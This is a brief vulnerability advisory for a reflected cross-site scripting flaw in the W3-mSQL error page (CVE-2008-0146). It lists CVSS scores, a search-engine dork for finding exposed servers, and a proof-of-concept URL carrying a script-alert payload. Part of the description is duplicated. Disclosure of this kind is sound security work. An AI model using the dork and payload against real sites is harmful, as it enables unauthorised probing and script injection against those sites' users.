xss in w3-msql error page

2008.01.08

Credit: vivek_infosec

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2008-0146

CWE: CWE-79

CVSS Base Score: 4.3/10

Impact Subscore: 2.9/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: None

Integrity impact: Partial

Availability impact: None

A reflected xss flaw exists in the w3-msql error page.
google dork : "W3-mSQL Error! - Can't stat script file (/"
Just insert a script from the start of /
like if u get a URL like:-
http://localhost/cgi-bin/w3-msql/journal/ijcd/index.html
and the error page output as :-
W3-mSQL Error! - Can't stat script file (/journal/ijcd/index.html)
u can try this:-
A reflected xss flaw exists in the w3-msql error page.
google dork : "W3-mSQL Error! - Can't stat script file (/"
Just insert a script from the start of /
like if u get a URL like:-
http://localhost/cgi-bin/w3-msql/<script>alert('xss')</script>
to confirm the issue

See this note in RAW Version

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